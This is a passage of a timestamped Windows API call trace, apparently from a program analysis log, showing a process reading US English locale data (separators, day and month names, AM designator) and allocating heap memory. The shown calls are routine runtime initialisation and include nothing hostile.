CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=",", cchWideChar=-1, lpMultiByteStr=0x12d5e14, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=",", lpUsedDefaultChar=0x0) returned 2 [0282.988] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x2) returned 0x193e990 [0282.988] GetLocaleInfoW (in: Locale=0x409, LCType=0x10, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0282.988] GetLocaleInfoW (in: Locale=0x409, LCType=0x10, lpLCData=0x12d5d78, cchData=4 | out: lpLCData="3;0") returned 4 [0282.988] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="3;0", cchWideChar=-1, lpMultiByteStr=0x12d5e00, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3;0", lpUsedDefaultChar=0x0) returned 4 [0282.989] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x4) returned 0x193e9a0 [0282.989] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 2 [0282.989] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x4) returned 0x193e9b0 [0282.989] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x193e9b0, cchData=2 | out: lpLCData=".") returned 2 [0282.989] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 2 [0282.989] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x4) returned 0x193e9c0 [0282.989] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x193e9c0, cchData=2 | out: lpLCData=",") returned 2 [0282.989] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193d4f0 | out: hHeap=0x1930000) returned 1 [0282.989] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193e830 | out: hHeap=0x1930000) returned 1 [0282.989] GetLastError () returned 0x0 [0282.989] SetLastError (dwErrCode=0x0) [0282.989] GetLastError () returned 0x0 [0282.989] SetLastError (dwErrCode=0x0) [0282.989] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1f) returned 0x193e830 [0282.990] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x164) returned 0x193ed08 [0282.990] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0282.990] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x12d5d98, cchData=4 | out: lpLCData="Mon") returned 4 [0282.990] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Mon", cchWideChar=-1, lpMultiByteStr=0x12d5e18, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Mon", lpUsedDefaultChar=0x0) returned 4 [0282.990] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x4) returned 0x193e9d0 [0282.990] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0282.990] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x12d5d78, cchData=4 | out: lpLCData="Tue") returned 4 [0282.990] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Tue", cchWideChar=-1, lpMultiByteStr=0x12d5e04, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Tue", lpUsedDefaultChar=0x0) returned 4 [0282.990] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x4) returned 0x193e9e0 [0282.990] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0282.990] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x12d5d68, cchData=4 | out: lpLCData="Wed") returned 4 [0282.990] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Wed", cchWideChar=-1, lpMultiByteStr=0x12d5df0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Wed", lpUsedDefaultChar=0x0) returned 4 [0282.990] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x4) returned 0x193e9f0 [0282.990] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0282.990] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x12d5d58, cchData=4 | out: lpLCData="Thu") returned 4 [0282.990] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Thu", cchWideChar=-1, lpMultiByteStr=0x12d5ddc, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Thu", lpUsedDefaultChar=0x0) returned 4 [0282.990] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x4) returned 0x193ea00 [0282.990] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0282.990] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x12d5d98, cchData=4 | out: lpLCData="Fri") returned 4 [0282.990] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Fri", cchWideChar=-1, lpMultiByteStr=0x12d5e18, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Fri", lpUsedDefaultChar=0x0) returned 4 [0282.990] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x4) returned 0x193ea10 [0282.990] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0282.991] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x12d5d78, cchData=4 | out: lpLCData="Sat") returned 4 [0282.991] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Sat", cchWideChar=-1, lpMultiByteStr=0x12d5e04, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Sat", lpUsedDefaultChar=0x0) returned 4 [0282.991] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x4) returned 0x193ea20 [0282.991] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0282.991] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x12d5d68, cchData=4 | out: lpLCData="Sun") returned 4 [0282.991] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Sun", cchWideChar=-1, lpMultiByteStr=0x12d5df0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Sun", lpUsedDefaultChar=0x0) returned 4 [0282.991] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x4) returned 0x193ea30 [0282.991] GetLocaleInfoW (in: Locale=0x409, LCType=0x2a, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 7 [0282.991] GetLocaleInfoW (in: Locale=0x409, LCType=0x2a, lpLCData=0x12d5d48, cchData=7 | out: lpLCData="Monday") returned 7 [0282.991] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Monday", cchWideChar=-1, lpMultiByteStr=0x12d5ddc, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Monday", lpUsedDefaultChar=0x0) returned 7 [0282.991] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x7) returned 0x193ea40 [0282.991] GetLocaleInfoW (in: Locale=0x409, LCType=0x2b, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 8 [0282.991] GetLocaleInfoW (in: Locale=0x409, LCType=0x2b, lpLCData=0x12d5d88, cchData=8 | out: lpLCData="Tuesday") returned 8 [0282.991] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Tuesday", cchWideChar=-1, lpMultiByteStr=0x12d5e18, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Tuesday", lpUsedDefaultChar=0x0) returned 8 [0282.991] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x8) returned 0x193ea50 [0282.991] GetLocaleInfoW (in: Locale=0x409, LCType=0x2c, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 10 [0282.991] GetLocaleInfoW (in: Locale=0x409, LCType=0x2c, lpLCData=0x12d5d78, cchData=10 | out: lpLCData="Wednesday") returned 10 [0282.991] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Wednesday", cchWideChar=-1, lpMultiByteStr=0x12d5e04, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Wednesday", lpUsedDefaultChar=0x0) returned 10 [0282.991] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0xa) returned 0x193d520 [0282.991] GetLocaleInfoW (in: Locale=0x409, LCType=0x2d, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 9 [0282.991] GetLocaleInfoW (in: Locale=0x409, LCType=0x2d, lpLCData=0x12d5d58, cchData=9 | out: lpLCData="Thursday") returned 9 [0282.991] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Thursday", cchWideChar=-1, lpMultiByteStr=0x12d5df0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Thursday", lpUsedDefaultChar=0x0) returned 9 [0282.992] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x9) returned 0x193e858 [0282.992] GetLocaleInfoW (in: Locale=0x409, LCType=0x2e, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 7 [0282.992] GetLocaleInfoW (in: Locale=0x409, LCType=0x2e, lpLCData=0x12d5d48, cchData=7 | out: lpLCData="Friday") returned 7 [0282.992] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Friday", cchWideChar=-1, lpMultiByteStr=0x12d5ddc, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Friday", lpUsedDefaultChar=0x0) returned 7 [0282.992] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x7) returned 0x193ea60 [0282.992] GetLocaleInfoW (in: Locale=0x409, LCType=0x2f, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 9 [0282.992] GetLocaleInfoW (in: Locale=0x409, LCType=0x2f, lpLCData=0x12d5d88, cchData=9 | out: lpLCData="Saturday") returned 9 [0282.992] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Saturday", cchWideChar=-1, lpMultiByteStr=0x12d5e18, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Saturday", lpUsedDefaultChar=0x0) returned 9 [0282.992] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x9) returned 0x193e870 [0282.992] GetLocaleInfoW (in: Locale=0x409, LCType=0x30, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 7 [0282.992] GetLocaleInfoW (in: Locale=0x409, LCType=0x30, lpLCData=0x12d5d78, cchData=7 | out: lpLCData="Sunday") returned 7 [0282.992] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Sunday", cchWideChar=-1, lpMultiByteStr=0x12d5e04, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Sunday", lpUsedDefaultChar=0x0) returned 7 [0282.992] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x7) returned 0x193ea70 [0282.992] GetLocaleInfoW (in: Locale=0x409, LCType=0x44, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0282.992] GetLocaleInfoW (in: Locale=0x409, LCType=0x44, lpLCData=0x12d5d68, cchData=4 | out: lpLCData="Jan") returned 4 [0282.992] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Jan", cchWideChar=-1, lpMultiByteStr=0x12d5df0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Jan", lpUsedDefaultChar=0x0) returned 4 [0282.992] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x4) returned 0x193ea80 [0282.992] GetLocaleInfoW (in: Locale=0x409, LCType=0x45, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0282.992] GetLocaleInfoW (in: Locale=0x409, LCType=0x45, lpLCData=0x12d5d58, cchData=4 | out: lpLCData="Feb") returned 4 [0282.992] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Feb", cchWideChar=-1, lpMultiByteStr=0x12d5ddc, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Feb", lpUsedDefaultChar=0x0) returned 4 [0282.992] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x4) returned 0x193ea90 [0282.992] GetLocaleInfoW (in: Locale=0x409, LCType=0x46, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0282.992] GetLocaleInfoW (in: Locale=0x409, LCType=0x46, lpLCData=0x12d5d98, cchData=4 | out: lpLCData="Mar") returned 4 [0282.993] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Mar", cchWideChar=-1, lpMultiByteStr=0x12d5e18, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Mar", lpUsedDefaultChar=0x0) returned 4 [0282.993] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x4) returned 0x193eaa0 [0282.993] GetLocaleInfoW (in: Locale=0x409, LCType=0x47, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0282.993] GetLocaleInfoW (in: Locale=0x409, LCType=0x47, lpLCData=0x12d5d78, cchData=4 | out: lpLCData="Apr") returned 4 [0282.993] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Apr", cchWideChar=-1, lpMultiByteStr=0x12d5e04, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Apr", lpUsedDefaultChar=0x0) returned 4 [0282.993] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x4) returned 0x193eab0 [0282.993] GetLocaleInfoW (in: Locale=0x409, LCType=0x48, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0282.993] GetLocaleInfoW (in: Locale=0x409, LCType=0x48, lpLCData=0x12d5d68, cchData=4 | out: lpLCData="May") returned 4 [0282.993] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="May", cchWideChar=-1, lpMultiByteStr=0x12d5df0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="May", lpUsedDefaultChar=0x0) returned 4 [0282.993] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x4) returned 0x193eac0 [0282.993] GetLocaleInfoW (in: Locale=0x409, LCType=0x49, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0282.993] GetLocaleInfoW (in: Locale=0x409, LCType=0x49, lpLCData=0x12d5d58, cchData=4 | out: lpLCData="Jun") returned 4 [0282.993] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Jun", cchWideChar=-1, lpMultiByteStr=0x12d5ddc, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Jun", lpUsedDefaultChar=0x0) returned 4 [0282.993] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x4) returned 0x193ead0 [0282.993] GetLocaleInfoW (in: Locale=0x409, LCType=0x4a, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0282.993] GetLocaleInfoW (in: Locale=0x409, LCType=0x4a, lpLCData=0x12d5d98, cchData=4 | out: lpLCData="Jul") returned 4 [0282.993] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Jul", cchWideChar=-1, lpMultiByteStr=0x12d5e18, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Jul", lpUsedDefaultChar=0x0) returned 4 [0282.993] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x4) returned 0x193eae0 [0282.993] GetLocaleInfoW (in: Locale=0x409, LCType=0x4b, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0282.993] GetLocaleInfoW (in: Locale=0x409, LCType=0x4b, lpLCData=0x12d5d78, cchData=4 | out: lpLCData="Aug") returned 4 [0282.993] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Aug", cchWideChar=-1, lpMultiByteStr=0x12d5e04, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Aug", lpUsedDefaultChar=0x0) returned 4 [0282.994] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x4) returned 0x193eaf0 [0282.994] GetLocaleInfoW (in: Locale=0x409, LCType=0x4c, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0282.994] GetLocaleInfoW (in: Locale=0x409, LCType=0x4c, lpLCData=0x12d5d68, cchData=4 | out: lpLCData="Sep") returned 4 [0282.994] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Sep", cchWideChar=-1, lpMultiByteStr=0x12d5df0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Sep", lpUsedDefaultChar=0x0) returned 4 [0282.994] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x4) returned 0x193eb00 [0282.994] GetLocaleInfoW (in: Locale=0x409, LCType=0x4d, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0282.994] GetLocaleInfoW (in: Locale=0x409, LCType=0x4d, lpLCData=0x12d5d58, cchData=4 | out: lpLCData="Oct") returned 4 [0282.994] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Oct", cchWideChar=-1, lpMultiByteStr=0x12d5ddc, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Oct", lpUsedDefaultChar=0x0) returned 4 [0282.994] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x4) returned 0x193eb10 [0282.994] GetLocaleInfoW (in: Locale=0x409, LCType=0x4e, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0282.994] GetLocaleInfoW (in: Locale=0x409, LCType=0x4e, lpLCData=0x12d5d98, cchData=4 | out: lpLCData="Nov") returned 4 [0282.994] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Nov", cchWideChar=-1, lpMultiByteStr=0x12d5e18, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Nov", lpUsedDefaultChar=0x0) returned 4 [0282.994] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x4) returned 0x193eb20 [0282.994] GetLocaleInfoW (in: Locale=0x409, LCType=0x4f, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0282.994] GetLocaleInfoW (in: Locale=0x409, LCType=0x4f, lpLCData=0x12d5d78, cchData=4 | out: lpLCData="Dec") returned 4 [0282.994] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Dec", cchWideChar=-1, lpMultiByteStr=0x12d5e04, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dec", lpUsedDefaultChar=0x0) returned 4 [0282.994] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x4) returned 0x193eb30 [0282.994] GetLocaleInfoW (in: Locale=0x409, LCType=0x38, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 8 [0282.994] GetLocaleInfoW (in: Locale=0x409, LCType=0x38, lpLCData=0x12d5d68, cchData=8 | out: lpLCData="January") returned 8 [0282.995] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="January", cchWideChar=-1, lpMultiByteStr=0x12d5df0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="January", lpUsedDefaultChar=0x0) returned 8 [0282.995] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x8) returned 0x193eb40 [0282.995] GetLocaleInfoW (in: Locale=0x409, LCType=0x39, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 9 [0282.995] GetLocaleInfoW (in: Locale=0x409, LCType=0x39, lpLCData=0x12d5d48, cchData=9 | out: lpLCData="February") returned 9 [0282.995] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="February", cchWideChar=-1, lpMultiByteStr=0x12d5ddc, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="February", lpUsedDefaultChar=0x0) returned 9 [0282.995] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x9) returned 0x193ee90 [0282.995] GetLocaleInfoW (in: Locale=0x409, LCType=0x3a, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 6 [0282.995] GetLocaleInfoW (in: Locale=0x409, LCType=0x3a, lpLCData=0x12d5d88, cchData=6 | out: lpLCData="March") returned 6 [0282.995] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="March", cchWideChar=-1, lpMultiByteStr=0x12d5e18, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="March", lpUsedDefaultChar=0x0) returned 6 [0282.995] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x6) returned 0x193eb50 [0282.995] GetLocaleInfoW (in: Locale=0x409, LCType=0x3b, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 6 [0282.995] GetLocaleInfoW (in: Locale=0x409, LCType=0x3b, lpLCData=0x12d5d78, cchData=6 | out: lpLCData="April") returned 6 [0282.995] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="April", cchWideChar=-1, lpMultiByteStr=0x12d5e04, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="April", lpUsedDefaultChar=0x0) returned 6 [0282.995] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x6) returned 0x193eb60 [0282.995] GetLocaleInfoW (in: Locale=0x409, LCType=0x3c, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0282.995] GetLocaleInfoW (in: Locale=0x409, LCType=0x3c, lpLCData=0x12d5d68, cchData=4 | out: lpLCData="May") returned 4 [0282.995] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="May", cchWideChar=-1, lpMultiByteStr=0x12d5df0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="May", lpUsedDefaultChar=0x0) returned 4 [0282.995] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x4) returned 0x193eb70 [0282.995] GetLocaleInfoW (in: Locale=0x409, LCType=0x3d, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 5 [0282.995] GetLocaleInfoW (in: Locale=0x409, LCType=0x3d, lpLCData=0x12d5d58, cchData=5 | out: lpLCData="June") returned 5 [0282.996] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="June", cchWideChar=-1, lpMultiByteStr=0x12d5ddc, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="June", lpUsedDefaultChar=0x0) returned 5 [0282.996] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x5) returned 0x193eb80 [0282.996] GetLocaleInfoW (in: Locale=0x409, LCType=0x3e, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 5 [0282.996] GetLocaleInfoW (in: Locale=0x409, LCType=0x3e, lpLCData=0x12d5d88, cchData=5 | out: lpLCData="July") returned 5 [0282.996] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="July", cchWideChar=-1, lpMultiByteStr=0x12d5e18, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="July", lpUsedDefaultChar=0x0) returned 5 [0282.996] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x5) returned 0x193eb90 [0282.996] GetLocaleInfoW (in: Locale=0x409, LCType=0x3f, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 7 [0282.996] GetLocaleInfoW (in: Locale=0x409, LCType=0x3f, lpLCData=0x12d5d78, cchData=7 | out: lpLCData="August") returned 7 [0282.996] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="August", cchWideChar=-1, lpMultiByteStr=0x12d5e04, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="August", lpUsedDefaultChar=0x0) returned 7 [0282.996] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x7) returned 0x193eba0 [0282.996] GetLocaleInfoW (in: Locale=0x409, LCType=0x40, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 10 [0282.996] GetLocaleInfoW (in: Locale=0x409, LCType=0x40, lpLCData=0x12d5d58, cchData=10 | out: lpLCData="September") returned 10 [0282.996] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="September", cchWideChar=-1, lpMultiByteStr=0x12d5df0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="September", lpUsedDefaultChar=0x0) returned 10 [0282.996] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0xa) returned 0x193eea8 [0282.996] GetLocaleInfoW (in: Locale=0x409, LCType=0x41, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 8 [0282.996] GetLocaleInfoW (in: Locale=0x409, LCType=0x41, lpLCData=0x12d5d48, cchData=8 | out: lpLCData="October") returned 8 [0282.996] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="October", cchWideChar=-1, lpMultiByteStr=0x12d5ddc, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="October", lpUsedDefaultChar=0x0) returned 8 [0282.996] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x8) returned 0x193ebb0 [0282.996] GetLocaleInfoW (in: Locale=0x409, LCType=0x42, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 9 [0282.997] GetLocaleInfoW (in: Locale=0x409, LCType=0x42, lpLCData=0x12d5d88, cchData=9 | out: lpLCData="November") returned 9 [0282.997] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="November", cchWideChar=-1, lpMultiByteStr=0x12d5e18, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="November", lpUsedDefaultChar=0x0) returned 9 [0282.997] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x9) returned 0x193eec0 [0282.997] GetLocaleInfoW (in: Locale=0x409, LCType=0x43, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 9 [0282.997] GetLocaleInfoW (in: Locale=0x409, LCType=0x43, lpLCData=0x12d5d78, cchData=9 | out: lpLCData="December") returned 9 [0282.997] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="December", cchWideChar=-1, lpMultiByteStr=0x12d5e04, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="December", lpUsedDefaultChar=0x0) returned 9 [0282.997] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x9) returned 0x193eed8 [0282.997] GetLocaleInfoW (in: Locale=0x409, LCType=0x28, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 3 [0282.997] GetLocaleInfoW (in: Locale=0x409, LCType=0x28, lpLCData=0x12d5d68, cchData=3 | out: lpLCData="AM") returned 3 [0282.997] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AM", cchWideChar=-1, lpMultiByteStr=0x12d5df0, cbMultiByte=128, lpDefaultChar=0x0, 